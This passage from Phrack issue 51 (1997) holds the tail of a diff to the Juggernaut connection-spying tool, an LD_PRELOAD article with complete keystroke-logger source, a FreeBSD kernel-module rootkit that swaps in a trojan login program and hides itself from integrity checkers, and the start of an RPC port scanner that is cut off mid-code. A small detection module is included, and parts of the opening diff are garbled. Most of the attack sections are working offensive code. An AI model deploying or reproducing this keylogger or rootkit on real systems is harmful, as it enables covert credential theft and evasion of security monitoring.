+ while(sigsentry)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP)if(iphp->saddr==target->daddr && iphp->daddr==target->saddr && tcphp->dest==target->sport)dumpp(epack.payload-2,htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epac
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
k
|
|||
|
+
|
|||
|
+.tcp),fp);
|
|||
|
|
|||
|
if(fp){
|
|||
|
fprintf(fp,"\n---------------------------------------------------------------------\n: Juggernaut connection spy log trailer\n: %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup(target->daddr),ntohs(target->dport
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
)
|
|||
|
|
|||
|
-
|
|||
|
-
|
|||
|
-
|
|||
|
-
|
|||
|
-
|
|||
|
-
|
|||
|
-
|
|||
|
-
|
|||
|
);
|
|||
|
time(&tp);
|
|||
|
fprintf(fp,": Log ended:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
|
|||
|
@@ -347,8 +346,8 @@
|
|||
|
unsigned short tlen;
|
|||
|
}*ppheader;
|
|||
|
|
|||
|
- static int moot=0;
|
|||
|
- int tlinksock=tap(DEVICE);
|
|||
|
+ int moot=0;
|
|||
|
+ int tlinksock=tap(DEVICE,1);
|
|||
|
|
|||
|
ALIGNNETPOINTERS();
|
|||
|
|
|||
|
@@ -451,7 +450,7 @@
|
|||
|
extern int ripsock;
|
|||
|
extern int acrstpid;
|
|||
|
char *tempBuf=0;
|
|||
|
- int tlinksock=tap(DEVICE);
|
|||
|
+ int tlinksock=tap(DEVICE,1);
|
|||
|
|
|||
|
switch((acrstpid=fork())){ /* Drop a child to backround, return the
|
|||
|
parent to continue */
|
|||
|
@@ -570,7 +569,7 @@
|
|||
|
extern int netreadtimeout;
|
|||
|
static int len;
|
|||
|
char *tempBuf;
|
|||
|
- int tlinksock=tap(DEVICE);
|
|||
|
+ int tlinksock=tap(DEVICE,1);
|
|||
|
|
|||
|
ALIGNNETPOINTERS();
|
|||
|
|
|||
|
@@ -675,7 +674,7 @@
|
|||
|
extern int netreadtimeout;
|
|||
|
extern int sigsentry;
|
|||
|
static int len;
|
|||
|
- int tlinksock=tap(DEVICE);
|
|||
|
+ int tlinksock=tap(DEVICE,1);
|
|||
|
|
|||
|
ALIGNNETPOINTERS();
|
|||
|
|
|||
|
@@ -799,7 +798,7 @@
|
|||
|
int grabflag=0; /* Time to grab some packets */
|
|||
|
unsigned long targetsourceip=0;
|
|||
|
unsigned short targetsourceport=0;
|
|||
|
- int tlinksock=tap(DEVICE);
|
|||
|
+ int tlinksock=tap(DEVICE,1);
|
|||
|
|
|||
|
if(!(fp=fopen(SNIFLOG,"a+"))){ /* Log to file */
|
|||
|
if(verbosity){
|
|||
|
--- NumberOneCrush/prometheus.c Thu May 8 15:37:03 1997
|
|||
|
+++ NumberOneCrush/prometheus.c Fri Jun 6 01:33:17 1997
|
|||
|
@@ -1,7 +1,7 @@
|
|||
|
/*
|
|||
|
*
|
|||
|
* Juggernaut
|
|||
|
- * Version b2
|
|||
|
+ * Version 1.2
|
|||
|
*
|
|||
|
* 1996/7 Guild productions
|
|||
|
* daemon9[guild|phrack|r00t]
|
|||
|
--- NumberOneCrush/surplus.c Thu May 8 15:37:03 1997
|
|||
|
+++ NumberOneCrush/surplus.c Fri Jun 6 01:33:03 1997
|
|||
|
@@ -1,7 +1,7 @@
|
|||
|
/*
|
|||
|
*
|
|||
|
* Juggernaut
|
|||
|
- * Version b2
|
|||
|
+ * Version 1.2
|
|||
|
*
|
|||
|
* 1996/7 Guild productions
|
|||
|
* daemon9[guild|phrack|r00t]
|
|||
|
@@ -29,6 +29,7 @@
|
|||
|
#define HELPFILE "./ClothLikeGauze/.help"
|
|||
|
#define FBUFSIZE 80
|
|||
|
#define MINIBUF 10
|
|||
|
+#define DEVICE "eth0"
|
|||
|
|
|||
|
extern int verbosity;
|
|||
|
|
|||
|
@@ -346,6 +347,7 @@
|
|||
|
void cleanexit(){
|
|||
|
|
|||
|
void powerdown();
|
|||
|
+ int tap(char *,int);
|
|||
|
|
|||
|
extern int ripsock;
|
|||
|
extern int hpid;
|
|||
|
@@ -353,6 +355,7 @@
|
|||
|
|
|||
|
close(ripsock);
|
|||
|
powerdown();
|
|||
|
+ tap(DEVICE,0); /* Unset promisc mode on the interface */
|
|||
|
if(kill(hpid,SIGUSR1))if(verbosity){ /* Send signal to the hunter */
|
|||
|
perror("(cleanexit) Could not signal hunter");
|
|||
|
fprintf(stderr,"[cr]");
|
|||
|
<-->
|
|||
|
|
|||
|
|
|||
|
|
|||
|
----[ EOF
|
|||
|
|
|||
|
---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 08 of 17
|
|||
|
|
|||
|
|
|||
|
-------------------------[ Shared Library Redirection Techniques
|
|||
|
|
|||
|
|
|||
|
--------[ halflife <halflife@infonexus.com>
|
|||
|
|
|||
|
|
|||
|
This article discusses shared libraries - in particular, a method for doing
|
|||
|
shared library based function call redirection for multiple purposes. During
|
|||
|
the process of writing some code, some bugs were discovered in a few shared
|
|||
|
library implementations, these are discussed as well.
|
|||
|
|
|||
|
First off, a short description of shared libraries is in order. Shared
|
|||
|
libraries are designed to let you share code segments among programs. In this
|
|||
|
way, memory usage is reduced significantly. Since code segments generally are
|
|||
|
not modified, this sharing scheme works rather well. Obviously for this to
|
|||
|
work, the code segments have to be location independent or PC indepenant (ip
|
|||
|
independant for the x86 programmers in the audience).
|
|||
|
|
|||
|
Now, since the telnetd environment variable hole, most of you know there
|
|||
|
are several environment variables that can be used to specify alternate shared
|
|||
|
libraries. Among them, on most systems, are LD_LIBRARY_PATH and LD_PRELOAD;
|
|||
|
this article strictly deals with the latter. Additionally, on Digital UNIX
|
|||
|
and Irix, this variable is called _RLD_LIST and has a slightly different
|
|||
|
syntax.
|
|||
|
|
|||
|
Sun's shared libraries came with an API to let users load and call shared
|
|||
|
library functions; most other vendors have cloned the interface. Oddly enough,
|
|||
|
our code will not work in SunOS, although it will in Solaris2. Anyhow, the
|
|||
|
first function to be concerned with is called dlopen(). This function
|
|||
|
basically loads the shared library and mmap()s it into memory if it is not
|
|||
|
already loaded. The first argument it accepts, is a pointer to the filename
|
|||
|
to be loaded, the second argument should usually be 1 (although some platforms
|
|||
|
seem to support other options). The manpage provides more details. A handle
|
|||
|
is returned on success, you can call dlerror() to determine if a failure
|
|||
|
occurred.
|
|||
|
|
|||
|
Once you have dlopen()ed a library, the next goal is to get the address of one
|
|||
|
or more of the symbols that are inside the library. You do this with the
|
|||
|
dlsym() function. Unfortunately, this is where things can get nonportable.
|
|||
|
On the freely available 4.4BSD machines I tested, dlsym() wants the function
|
|||
|
name prepended by a underscore character. This makes perfect sense to me,
|
|||
|
since that is how C stores function names internally. The System Vish
|
|||
|
implementations, which make up the majority of the tested systems, do not use
|
|||
|
such a convention. This, unfortunately, means you must use conditional
|
|||
|
compilation in order to ensure portability.
|
|||
|
|
|||
|
A simple example of opening a library, getting a function and calling it is
|
|||
|
shown below:
|
|||
|
|
|||
|
<++> sh_lib_redir_example.c
|
|||
|
#include <stdio.h>
|
|||
|
#include <stdlib.h>
|
|||
|
#include <unistd.h>
|
|||
|
#include <dlfcn.h>
|
|||
|
|
|||
|
main()
|
|||
|
{
|
|||
|
void *handle;
|
|||
|
void (*helloworld)(void);
|
|||
|
char *c;
|
|||
|
|
|||
|
handle = dleopen("/tmp/helloworld.so", 1);
|
|||
|
c = dlerror();
|
|||
|
if(c)
|
|||
|
{
|
|||
|
fprintf(stderr, "couldnt open /tmp/helloworld.so\n");
|
|||
|
abort();
|
|||
|
}
|
|||
|
#if __FreeBSD__
|
|||
|
helloworld = dlsym(handle, "_helloworld");
|
|||
|
#else
|
|||
|
helloworld = dlsym(handle, "helloworld");
|
|||
|
#endif
|
|||
|
c = dlerror();
|
|||
|
if(c)
|
|||
|
{
|
|||
|
fprintf(stderr, "couldnt get helloworld symbol\n");
|
|||
|
abort();
|
|||
|
}
|
|||
|
helloworld();
|
|||
|
dlclose(handle);
|
|||
|
}
|
|||
|
<-->
|
|||
|
|
|||
|
Okay, now that we understand how to use the programming interface, how do we
|
|||
|
do function call redirection? Well, my idea is simple; you preload a library,
|
|||
|
the preloaded library does its thing, then it dlopen()s the real library and
|
|||
|
gets the symbol and calls it. This seems to work well on Solaris, Linux (ELF),
|
|||
|
Irix (5.3 and 6.2), FreeBSD (see bugs section below), and OSF/1 (not tested).
|
|||
|
|
|||
|
Compiling shared libraries is a little different on each platform. The
|
|||
|
compilation stage is basically the same, it is the linking that is actually
|
|||
|
different. For GCC, you make the object with something like:
|
|||
|
|
|||
|
gcc -fPIC -c file.c
|
|||
|
|
|||
|
That will create file.o, object code which is suitable for dynamic linking.
|
|||
|
Then you actually have to link it, which is where the fun begins :). Here is
|
|||
|
a chart for linking in the various operating systems I have tested this stuff
|
|||
|
on.
|
|||
|
|
|||
|
FreeBSD: ld -Bshareable -o file.so file.o
|
|||
|
Solaris: ld -G -o file.so file.o -ldl
|
|||
|
Linux: ld -Bshareable -o file.so file.o -ldl
|
|||
|
IRIX: ld -shared -o file.so file.o
|
|||
|
OSF/1: ld -shared -o file.so file.o
|
|||
|
|
|||
|
On IRIX, there is an additional switch you need to use if you are running 6.2,
|
|||
|
it enables backwards ld compatibility; the manpage for ld is your guide.
|
|||
|
|
|||
|
Unfortunately, all is not happy in the world of shared libs since there are
|
|||
|
bugs present in some implementations. FreeBSD in particular has a bug in that
|
|||
|
if you dlsym() something and it is not found, it will not set the error so
|
|||
|
dlerror() will return NULL. OpenBSD is far far worse (*sigh*). It
|
|||
|
initializes the error to a value, and does not clear the error when you call
|
|||
|
dlerror() so at all times, dlerror() will return non NULL. Of course, OpenBSD
|
|||
|
is incompatible with our methods in other ways too, so it does not really
|
|||
|
matter I guess :). The FreeBSD bug is hacked around by testing return values
|
|||
|
for NULL.
|
|||
|
|
|||
|
Here is a simple TTY logger shared library example. When you preload it, it
|
|||
|
will log the keystrokes when users run any nonprivledged shared lib using
|
|||
|
program. It stores the logs in /tmp/UID_OF_USER. Pretty simple stuff.
|
|||
|
|
|||
|
<++> tty_logger.c
|
|||
|
#include <stdio.h>
|
|||
|
#include <stdlib.h>
|
|||
|
#include <unistd.h>
|
|||
|
#include <sys/types.h>
|
|||
|
#include <sys/uio.h>
|
|||
|
#include <sys/stat.h>
|
|||
|
#include <string.h>
|
|||
|
#include <fcntl.h>
|
|||
|
#include <dlfcn.h>
|
|||
|
|
|||
|
/* change this to point to your libc shared lib path */
|
|||
|
#define LIB_PATH "/usr/lib/libc.so.3.0"
|
|||
|
#define LOGDIR "/tmp"
|
|||
|
int logfile = -1;
|
|||
|
|
|||
|
static void createlog(void)
|
|||
|
{
|
|||
|
char buff[4096];
|
|||
|
if(logfile != -1)
|
|||
|
return;
|
|||
|
memset(buff, 0, 4096);
|
|||
|
if(strlen(LOGDIR) > 4000)
|
|||
|
return;
|
|||
|
sprintf(buff, "%s/%d", LOGDIR, getuid());
|
|||
|
logfile = open(buff, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
|
|||
|
return;
|
|||
|
}
|
|||
|
|
|||
|
static void writeout(char c)
|
|||
|
{
|
|||
|
switch(c)
|
|||
|
{
|
|||
|
case '\n':
|
|||
|
case '\r':
|
|||
|
c = '\n';
|
|||
|
write(logfile, &c, 1);
|
|||
|
break;
|
|||
|
case 27:
|
|||
|
break;
|
|||
|
default:
|
|||
|
write(logfile, &c, 1);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
ssize_t read(int fd, void *buf, size_t nbytes)
|
|||
|
{
|
|||
|
void *handle;
|
|||
|
ssize_t (*realfunc)(int, void *, size_t);
|
|||
|
int result;
|
|||
|
int i;
|
|||
|
char *c;
|
|||
|
char d;
|
|||
|
|
|||
|
handle = dlopen(LIB_PATH, 1);
|
|||
|
if(!handle)
|
|||
|
return -1;
|
|||
|
#if __linux__ || (__svr4__ && __sun__) || sgi || __osf__
|
|||
|
realfunc = dlsym(handle, "read");
|
|||
|
#else
|
|||
|
realfunc = dlsym(handle, "_read");
|
|||
|
#endif
|
|||
|
if(!realfunc)
|
|||
|
return -1;
|
|||
|
if(logfile < 0)
|
|||
|
createlog();
|
|||
|
result = realfunc(fd, buf, nbytes);
|
|||
|
c = buf;
|
|||
|
if(isatty(fd))
|
|||
|
{
|
|||
|
if(result > 0)
|
|||
|
for(i=0;i < result;i++)
|
|||
|
{
|
|||
|
d = c[i];
|
|||
|
writeout(d);
|
|||
|
}
|
|||
|
}
|
|||
|
return result;
|
|||
|
}
|
|||
|
<-->
|
|||
|
|
|||
|
|
|||
|
----[ EOF
|
|||
|
|
|||
|
---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 09 of 17
|
|||
|
|
|||
|
|
|||
|
-------------------------[ Bypassing Integrity Checking Systems
|
|||
|
|
|||
|
|
|||
|
--------[ halflife <halflife@infonexus.com>
|
|||
|
|
|||
|
|
|||
|
In this day and age where intrusions happen on a daily basis and there is a
|
|||
|
version of "rootkit" for every operating system imaginable, even mostly
|
|||
|
incompetent system administration staff have begun doing checksums on their
|
|||
|
binaries. For the hacker community, this is a major problem since their very
|
|||
|
clever trojan programs are quickly detected and removed. Tripwire is a very
|
|||
|
popular and free utility to do integrity checking on UNIX systems. This
|
|||
|
article explores a simple method for bypassing checks done by tripwire and
|
|||
|
other integrity checking programs.
|
|||
|
|
|||
|
First off, how do integrity-checking programs work? Well, when you first
|
|||
|
install them, they calculate a hash (sometimes multiple hashes) of all the
|
|||
|
binary files you wish to monitor. Then, periodically, you run the checker
|
|||
|
and it compares the current hash with the previously recorded hash. If the
|
|||
|
two differ, than something funny is going on, and it is noted. Several
|
|||
|
different algorithms exist for doing the hashes, the most popular probably
|
|||
|
being the MD5 hash.
|
|||
|
|
|||
|
In the past, there have been problems with several hashes. MD5 has had some
|
|||
|
collisions, as have many other secure hash algorithms. However, exploiting the
|
|||
|
collisions is still very very difficult. The code in this article does not
|
|||
|
rely on the use of a specific algorithm, rather we focus on a problem of trust
|
|||
|
-- integrity checking programs need to trust the operating system, and some
|
|||
|
may even trust libc. In code that is designed to detect compromises that
|
|||
|
would by their very nature require root access, you can not trust anything,
|
|||
|
including your own operating system.
|
|||
|
|
|||
|
The design of twhack had several requirements. The first is that it need not
|
|||
|
require a kernel rebuild; loadable kernel modules (lkm) provided a solution
|
|||
|
to this. The second is that it need be relatively stealthy. I managed to find
|
|||
|
a simple way to hide the lkm in the FreeBSD kernel (probably works in OpenBSD
|
|||
|
and NetBSD although I have not verified this). Once you load the module, the
|
|||
|
first ls type command will effectively hide the module from view. Once hidden
|
|||
|
it can not be unloaded or seen with the modunload(8) command.
|
|||
|
|
|||
|
First, a little information on FreeBSD loadable modules. I am using the MISC
|
|||
|
style of modules, which is basically similar to linux modules. It gives you
|
|||
|
pretty much full access to everything. LKM info is stored in an array of
|
|||
|
structures. In FreeBSD 2.2.1 the array has room for 20 modules.
|
|||
|
|
|||
|
Hiding the modules is really quite simple. There is a used variable that
|
|||
|
determines if the module slot is free or not. When you insert a module, the
|
|||
|
device driver looks for the first free module entry -- free being defined as
|
|||
|
an entry with 0 in the used slot and places some info in the structure. The
|
|||
|
info is mainly used for unloading, and we are not interested in that, so it is
|
|||
|
okay if other modules overwrite our structure (some might call that a feature,
|
|||
|
even).
|
|||
|
|
|||
|
Next we have to redirect the system calls we are interested in. This is
|
|||
|
somewhat similar to Linux modules as well. System calls are stored in an
|
|||
|
array of structures. The structure contains a pointer to the system call and
|
|||
|
a variable specifying the number of arguments. Obviously, all we are
|
|||
|
interested in is the pointer. First we bcopy the structure to a variable,
|
|||
|
then we modify the function pointer to point to our code. In our code we can
|
|||
|
do stuff like old_function.sy_call(arguments) to call the original system call
|
|||
|
-- quick and painless.
|
|||
|
|
|||
|
Now that we know HOW to redirect system calls, which ones do we redirect in
|
|||
|
order to bypass integrity checkers? Well, there are a number of possibilities.
|
|||
|
You could redirect open(), stat(), and a bunch of others so that reads of your
|
|||
|
modified program redirect to copies of the unmodified version. I, however,
|
|||
|
chose the opposite approach. Execution attempts of login redirect to another
|
|||
|
program, opens still go to the real login program. Since we don't want our
|
|||
|
alternative login program being detected, I also modified getdirentries so
|
|||
|
that our program is never in the buffer it returns. Similar things probably
|
|||
|
should have been done with syscall 156 which is old getdirentries, but I don't
|
|||
|
think it is defined and I don't know of anything using it, so it probably does
|
|||
|
not really matter.
|
|||
|
|
|||
|
Despite the attempts at keeping hidden, there are a few ways to detect this
|
|||
|
code. One of the ways of detecting (and stopping) the code is provided.
|
|||
|
It is a simple stealthy module that logs when syscall addresses change, and
|
|||
|
reverses the changes. This will stop the twhack module as provided, but is
|
|||
|
FAR from perfect.
|
|||
|
|
|||
|
What the checking code does is bcopy() the entire sysent array into a local
|
|||
|
copy. Then it registers an at_fork() handler and in the handler it checks
|
|||
|
the current system call table against the one in memory, if they differ it
|
|||
|
logs the differences and changes the entry back.
|
|||
|
|
|||
|
<++> twhack/Makefile
|
|||
|
CC=gcc
|
|||
|
LD=ld
|
|||
|
RM=rm
|
|||
|
CFLAGS=-O -DKERNEL -DACTUALLY_LKM_NOT_KERNEL $(RST)
|
|||
|
LDFLAGS=-r
|
|||
|
RST=-DRESTORE_SYSCALLS
|
|||
|
|
|||
|
all: twhack syscheck
|
|||
|
|
|||
|
twhack:
|
|||
|
$(CC) $(CFLAGS) -c twhack.c
|
|||
|
$(LD) $(LDFLAGS) -o twhack_mod.o twhack.o
|
|||
|
@$(RM) twhack.o
|
|||
|
|
|||
|
syscheck:
|
|||
|
$(CC) $(CFLAGS) -c syscheck.c
|
|||
|
$(LD) $(LDFLAGS) -o syscheck_mod.o syscheck.o
|
|||
|
@$(RM) syscheck.o
|
|||
|
clean:
|
|||
|
$(RM) -f *.o
|
|||
|
<-->
|
|||
|
<++> twhack/twhack.c
|
|||
|
/*
|
|||
|
** This code is a simple example of bypassing Integrity checking
|
|||
|
** systems in FreeBSD 2.2. It has been tested in 2.2.1, and
|
|||
|
** believed to work (although not tested) in 3.0.
|
|||
|
**
|
|||
|
** Halflife <halflife@infonexus.com>
|
|||
|
*/
|
|||
|
|
|||
|
/* change these */
|
|||
|
#define ALT_LOGIN_PATH "/tmp/foobar"
|
|||
|
#define ALT_LOGIN_BASE "foobar"
|
|||
|
|
|||
|
/* includes */
|
|||
|
#include <sys/param.h>
|
|||
|
#include <sys/ioctl.h>
|
|||
|
#include <sys/proc.h>
|
|||
|
#include <sys/systm.h>
|
|||
|
#include <sys/sysproto.h>
|
|||
|
#include <sys/conf.h>
|
|||
|
#include <sys/mount.h>
|
|||
|
#include <sys/exec.h>
|
|||
|
#include <sys/sysent.h>
|
|||
|
#include <sys/lkm.h>
|
|||
|
#include <a.out.h>
|
|||
|
#include <sys/file.h>
|
|||
|
#include <sys/errno.h>
|
|||
|
#include <sys/syscall.h>
|
|||
|
#include <sys/dirent.h>
|
|||
|
|
|||
|
/* storage for original execve and getdirentries syscall entries */
|
|||
|
static struct sysent old_execve;
|
|||
|
static struct sysent old_getdirentries;
|
|||
|
|
|||
|
/* prototypes for new execve and getdirentries functions */
|
|||
|
int new_execve __P((struct proc *p, void *uap, int retval[]));
|
|||
|
int new_getdirentries __P((struct proc *p, void *uap, int retval[]));
|
|||
|
|
|||
|
/* flag used for the stealth stuff */
|
|||
|
static int hid=0;
|
|||
|
|
|||
|
/* table we need for the stealth stuff */
|
|||
|
static struct lkm_table *table;
|
|||
|
|
|||
|
/* misc lkm */
|
|||
|
MOD_MISC(twhack);
|
|||
|
|
|||
|
/*
|
|||
|
** this code is called when we load or unload the module. unload is
|
|||
|
** only possible if we initialize hid to 1
|
|||
|
*/
|
|||
|
static int
|
|||
|
twhack_load(struct lkm_table *l, int cmd)
|
|||
|
{
|
|||
|
int err = 0;
|
|||
|
switch(cmd)
|
|||
|
{
|
|||
|
/*
|
|||
|
** save execve and getdirentries system call entries
|
|||
|
** and point function pointers to our code
|
|||
|
*/
|
|||
|
case LKM_E_LOAD:
|
|||
|
if(lkmexists(l))
|
|||
|
return(EEXIST);
|
|||
|
bcopy(&sysent[SYS_execve], &old_execve, sizeof(struct sysent));
|
|||
|
sysent[SYS_execve].sy_call = new_execve;
|
|||
|
bcopy(&sysent[SYS_getdirentries], &old_getdirentries, sizeof(struct sysent));
|
|||
|
sysent[SYS_getdirentries].sy_call = new_getdirentries;
|
|||
|
table = l;
|
|||
|
break;
|
|||
|
/* restore syscall entries to their original condition */
|
|||
|
case LKM_E_UNLOAD:
|
|||
|
bcopy(&old_execve, &sysent[SYS_execve], sizeof(struct sysent));
|
|||
|
bcopy(&old_getdirentries, &sysent[SYS_getdirentries], sizeof(struct sysent));
|
|||
|
break;
|
|||
|
default:
|
|||
|
err = EINVAL;
|
|||
|
break;
|
|||
|
}
|
|||
|
return(err);
|
|||
|
}
|
|||
|
|
|||
|
/* entry point to the module */
|
|||
|
int
|
|||
|
twhack_mod(struct lkm_table *l, int cmd, int ver)
|
|||
|
{
|
|||
|
DISPATCH(l, cmd, ver, twhack_load, twhack_load, lkm_nullcmd);
|
|||
|
}
|
|||
|
|
|||
|
/*
|
|||
|
** execve is simple, if they attempt to execute /usr/bin/login
|
|||
|
** we change fname to ALT_LOGIN_PATH and then call the old execve
|
|||
|
** system call.
|
|||
|
*/
|
|||
|
int
|
|||
|
new_execve(struct proc *p, void *uap, int *retval)
|
|||
|
{
|
|||
|
struct execve_args *u=uap;
|
|||
|
|
|||
|
if(!strcmp(u->fname, "/usr/bin/login"))
|
|||
|
strcpy(u->fname, ALT_LOGIN_PATH);
|
|||
|
return old_execve.sy_call(p, uap, retval);
|
|||
|
}
|
|||
|
|
|||
|
/*
|
|||
|
** in getdirentries() we call the original syscall first
|
|||
|
** then nuke any occurance of ALT_LOGIN_BASE. ALT_LOGIN_PATH
|
|||
|
** and ALT_LOGIN_BASE should _always_ be modified and made
|
|||
|
** very obscure, perhaps with upper ascii characters.
|
|||
|
*/
|
|||
|
int
|
|||
|
new_getdirentries(struct proc *p, void *uap, int *retval)
|
|||
|
{
|
|||
|
struct getdirentries_args *u=uap;
|
|||
|
struct dirent *dep;
|
|||
|
int nbytes;
|
|||
|
int r,i;
|
|||
|
|
|||
|
/* if hid is not set, set the used flag to 0 */
|
|||
|
if(!hid)
|
|||
|
{
|
|||
|
table->used = 0;
|
|||
|
hid++;
|
|||
|
}
|
|||
|
r = old_getdirentries.sy_call(p, uap, retval);
|
|||
|
nbytes = *retval;
|
|||
|
while(nbytes > 0)
|
|||
|
{
|
|||
|
dep = (struct dirent *)u->buf;
|
|||
|
if(!strcmp(dep->d_name, ALT_LOGIN_BASE))
|
|||
|
{
|
|||
|
i = nbytes - dep->d_reclen;
|
|||
|
bcopy(u->buf+dep->d_reclen, u->buf, nbytes-dep->d_reclen);
|
|||
|
*retval = i;
|
|||
|
return r;
|
|||
|
}
|
|||
|
nbytes -= dep->d_reclen;
|
|||
|
u->buf += dep->d_reclen;
|
|||
|
}
|
|||
|
return r;
|
|||
|
}
|
|||
|
<-->
|
|||
|
<++> twhack/syscheck.c
|
|||
|
#include <sys/param.h>
|
|||
|
#include <sys/ioctl.h>
|
|||
|
#include <sys/proc.h>
|
|||
|
#include <sys/systm.h>
|
|||
|
#include <sys/sysproto.h>
|
|||
|
#include <sys/conf.h>
|
|||
|
#include <sys/mount.h>
|
|||
|
#include <sys/exec.h>
|
|||
|
#include <sys/sysent.h>
|
|||
|
#include <sys/lkm.h>
|
|||
|
#include <a.out.h>
|
|||
|
#include <sys/file.h>
|
|||
|
#include <sys/errno.h>
|
|||
|
#include <sys/syscall.h>
|
|||
|
#include <sys/dirent.h>
|
|||
|
|
|||
|
static int hid=0;
|
|||
|
static struct sysent table[SYS_MAXSYSCALL];
|
|||
|
static struct lkm_table *boo;
|
|||
|
MOD_MISC(syscheck);
|
|||
|
void check_sysent(struct proc *, struct proc *, int);
|
|||
|
|
|||
|
static int
|
|||
|
syscheck_load(struct lkm_table *l, int cmd)
|
|||
|
{
|
|||
|
int err = 0;
|
|||
|
switch(cmd)
|
|||
|
{
|
|||
|
case LKM_E_LOAD:
|
|||
|
if(lkmexists(l))
|
|||
|
return(EEXIST);
|
|||
|
bcopy(sysent, table, sizeof(struct sysent)*SYS_MAXSYSCALL);
|
|||
|
boo=l;
|
|||
|
at_fork(check_sysent);
|
|||
|
break;
|
|||
|
case LKM_E_UNLOAD:
|
|||
|
rm_at_fork(check_sysent);
|
|||
|
break;
|
|||
|
default:
|
|||
|
err = EINVAL;
|
|||
|
break;
|
|||
|
}
|
|||
|
return(err);
|
|||
|
}
|
|||
|
|
|||
|
int
|
|||
|
syscheck_mod(struct lkm_table *l, int cmd, int ver)
|
|||
|
{
|
|||
|
DISPATCH(l, cmd, ver, syscheck_load, syscheck_load, lkm_nullcmd);
|
|||
|
}
|
|||
|
|
|||
|
void
|
|||
|
check_sysent(struct proc *parent, struct proc *child, int flags)
|
|||
|
{
|
|||
|
int i;
|
|||
|
if(!hid)
|
|||
|
{
|
|||
|
boo->used = 0;
|
|||
|
hid++;
|
|||
|
}
|
|||
|
for(i=0;i < SYS_MAXSYSCALL;i++)
|
|||
|
{
|
|||
|
if(sysent[i].sy_call != table[i].sy_call)
|
|||
|
{
|
|||
|
printf("system call %d has been modified (old: %p new: %p)\n", i, table[i].sy_call, sysent[i].sy_call);
|
|||
|
#ifdef RESTORE_SYSCALLS
|
|||
|
sysent[i].sy_call = table[i].sy_call;
|
|||
|
#endif
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
<-->
|
|||
|
|
|||
|
|
|||
|
----[ EOF
|
|||
|
|
|||
|
---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 10 of 17
|
|||
|
|
|||
|
|
|||
|
-------------------------[ Scanning for RPC Services
|
|||
|
|
|||
|
|
|||
|
--------[ halflife <halflife@infonexus.com>
|
|||
|
|
|||
|
|
|||
|
Remote Procedure Language is a specification for letting procedures be
|
|||
|
executable on remote machines. It is defined in rfc1831. It has a number of
|
|||
|
good traits, and if you run SunOS or Solaris, you are almost required to make
|
|||
|
use of it to some degree.
|
|||
|
|
|||
|
Unfortunately, there are vulnerabilities in some RPC services that have
|
|||
|
caused many machines to be penetrated. Many administrators block access to
|
|||
|
portmapper (port 111) in an effort to deny external users access to their weak
|
|||
|
RPC services.
|
|||
|
|
|||
|
Unfortunately, this is completely inadequate. This article details how
|
|||
|
trivial it is to do a scan for specific RPC program numbers. The scan can be
|
|||
|
performed relatively quickly, and in many cases will not be logged.
|
|||
|
|
|||
|
First, a little information about RPC itself; when I refer to RPC, I am only
|
|||
|
referring to ONC RPC, and not DCE RPC. RPC is a query/reply-based system. You
|
|||
|
send an initial query with the program number you are interested in, the
|
|||
|
procedure number, any arguments, authentication, and other needed parameters.
|
|||
|
In response, you get whatever the procedure returns, and some indication of
|
|||
|
the reason for the failure if it failed.
|
|||
|
|
|||
|
Since RPC was designed to be portable, all arguments must be translated into
|
|||
|
XDR. XDR is a data encoding language that superficially reminds me a little
|
|||
|
bit of Pascal (at least, as far as strings are concerned). If you want more
|
|||
|
information on XDR, it is defined in rfc1832.
|
|||
|
|
|||
|
As you probably surmised by now, RPC programs are made up of various
|
|||
|
procedures. There is one procedure that always exists, it is procedure 0.
|
|||
|
This procedure accepts no arguments, and it does not return any value (think
|
|||
|
void rpcping(void)). This is how we will determine if a given port holds a
|
|||
|
given program, we will call the ping procedure!
|
|||
|
|
|||
|
So now we have a basic idea on how to determine if a given port is running
|
|||
|
a given RPC program number. Next we need to determine which UDP ports are
|
|||
|
listening. This can be done a number of ways, but the way I am using is
|
|||
|
to connect() to the port and try write data. If nothing is there, we
|
|||
|
will (hopefully) get a PORT_UNREACH error in errno, in which case we know
|
|||
|
there is nothing on that port.
|
|||
|
|
|||
|
In the given code, we do a udp scan, and for every listening udp port, we
|
|||
|
try to query the ping procedure of the program number we are scanning for.
|
|||
|
If we get a positive response, the program number we are looking for exists
|
|||
|
on that port and we exit.
|
|||
|
|
|||
|
<++> RPCscan/Makefile
|
|||
|
CC=gcc
|
|||
|
PROGNAME=rpcscan
|
|||
|
CFLAGS=-c
|
|||
|
|
|||
|
build: checkrpc.o main.o rpcserv.o udpcheck.o
|
|||
|
$(CC) -o $(PROGNAME) checkrpc.o main.o rpcserv.o udpcheck.o
|
|||
|
|
|||
|
checkrpc.o:
|
|||
|
$(CC) $(CFLAGS) checkrpc.c
|
|||
|
|
|||
|
main.o:
|
|||
|
$(CC) $(CFLAGS) main.c
|
|||
|
|
|||
|
rpcserv.o:
|
|||
|
$(CC) $(CFLAGS) rpcserv.c
|
|||
|
|
|||
|
udpcheck.o:
|
|||
|
$(CC) $(CFLAGS) udpcheck.c
|
|||
|
|
|||
|
clean:
|
|||
|
rm -f *.o $(PROGNAME)
|
|||
|
<-->
|
|||
|
<++> RPCscan/checkrpc.c
|
|||
|
#include <stdio.h>
|
|||
|
#include <stdlib.h>
|
|||
|
#include <unistd.h>
|
|||
|
#include <sys/time.h>
|
|||
|
#include <sys/socket.h>
|
|||
|
#include <rpc/rpc.h>
|
|||
|
#include <netdb.h>
|
|||
|
|
|||
|
extern struct sockaddr_in *saddr;
|
|||
|
|
|||
|
int
|
|||
|
check_rpc_service(long program)
|
|||
|
{
|
|||
|
int sock = RPC_ANYSOCK;
|
|||
|
CLIENT *client;
|
|||
|
struct timeval timeout;
|
|||
|
enum clnt_stat cstat;
|
|||
|
|
|||
|
